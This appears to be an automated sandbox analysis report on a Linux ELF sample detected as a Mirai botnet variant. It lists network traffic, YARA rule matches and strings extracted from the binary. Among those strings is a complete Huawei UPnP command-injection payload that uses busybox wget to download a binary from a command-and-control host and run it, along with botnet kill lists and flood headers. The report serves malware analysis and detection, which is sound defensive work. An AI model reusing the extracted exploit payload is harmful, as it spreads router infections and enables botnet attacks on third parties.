Source: gMYQFxufu0.elf |
ReversingLabs: Detection: 68% |
Source: global traffic |
TCP traffic: 192.168.2.14:46540 -> 185.125.190.26:443 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.125.190.26 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.125.190.26 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: unknown |
UDP traffic detected without corresponding DNS query: 1.1.1.1 |
Source: global traffic |
DNS traffic detected: DNS query: daisy.ubuntu.com |
Source: gMYQFxufu0.elf |
String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/ |
Source: gMYQFxufu0.elf |
String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/ |
Source: unknown |
Network traffic detected: HTTP traffic on port 46540 -> 443 |
Source: gMYQFxufu0.elf, type: SAMPLE |
Matched rule: Detects ELF Mirai variant Author: Florian Roth |
Source: 5488.1.00007efd68017000.00007efd6802e000.r-x.sdmp, type: MEMORY |
Matched rule: Detects ELF Mirai variant Author: Florian Roth |
Source: Initial sample |
String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox ECCHI |
Source: Initial sample |
String containing 'busybox' found: ..:: Nullnet Network ::..This device is already on Nullnet Networkcounterstrike2-cheats.com/proc//exe/fd/maps/proc/net/tcpUPX!sysupdaterKILLATTKBOGOMIPSpandoraMercurycrsfiahsokRootedREKAImioriMASUTAGhostWuzHere666CoronaloliganglolxdNiGGeR69xdnucleardvrHelperyakuzaUnHAnaAWAreslessie.HilixReaper.AlexsoraAmakanorzrnyamezyzhrlzrdGummyMoziYakuzadaddyl33t.un5Demon.Okami/dev/watchdog/dev/misc/watchdog/dev/FTWDT101_watchdog/dev/FTWDT101\ watchdogshellenablesystemsh/bin/busybox ECCHIECCHI: applet not foundncorrectasswordoginenter/etc/resolv.confnameserverConnection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8Content-Type: application/x-www-form-urlencodedsetCookie('refresh:location:set-cookie:content-length:transfer-encoding:chunkedkeep-aliveconnection:server: dosarrestserver: cloudflare-nginxHTTP/1.1User-Agent:Host:Cookie:httpurl=POSTMozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safa |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: gMYQFxufu0.elf, type: SAMPLE |
Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research |
Source: 5488.1.00007efd68017000.00007efd6802e000.r-x.sdmp, type: MEMORY |
Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research |
Source: classification engine |
Classification label: mal72.troj.linELF@0/0@2/0 |
Source: /tmp/gMYQFxufu0.elf (PID: 5488) |
Queries kernel information via 'uname': |
Jump to behavior |
Source: gMYQFxufu0.elf, 5488.1.00007ffcc52ae000.00007ffcc52cf000.rw-.sdmp |
Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/gMYQFxufu0.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/gMYQFxufu0.elf |
Source: gMYQFxufu0.elf, 5488.1.00007ffcc52ae000.00007ffcc52cf000.rw-.sdmp |
Binary or memory string: ~qemu: uncaught target signal 11 (Segmentation fault) - core dumped |
Source: gMYQFxufu0.elf, 5488.1.0000564b17008000.0000564b17136000.rw-.sdmp |
Binary or memory string: KV!/etc/qemu-binfmt/arm |
Source: gMYQFxufu0.elf, 5488.1.0000564b17008000.0000564b17136000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/arm |
Source: gMYQFxufu0.elf, 5488.1.00007ffcc52ae000.00007ffcc52cf000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-arm |
Source: gMYQFxufu0.elf, 5488.1.00007ffcc52ae000.00007ffcc52cf000.rw-.sdmp |
Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped |
Source: Yara match |
File source: gMYQFxufu0.elf, type: SAMPLE |
Source: Yara match |
File source: 5488.1.00007efd68017000.00007efd6802e000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: gMYQFxufu0.elf PID: 5488, type: MEMORYSTR |
Source: Yara match |
File source: gMYQFxufu0.elf, type: SAMPLE |
Source: Yara match |
File source: 5488.1.00007efd68017000.00007efd6802e000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: gMYQFxufu0.elf PID: 5488, type: MEMORYSTR |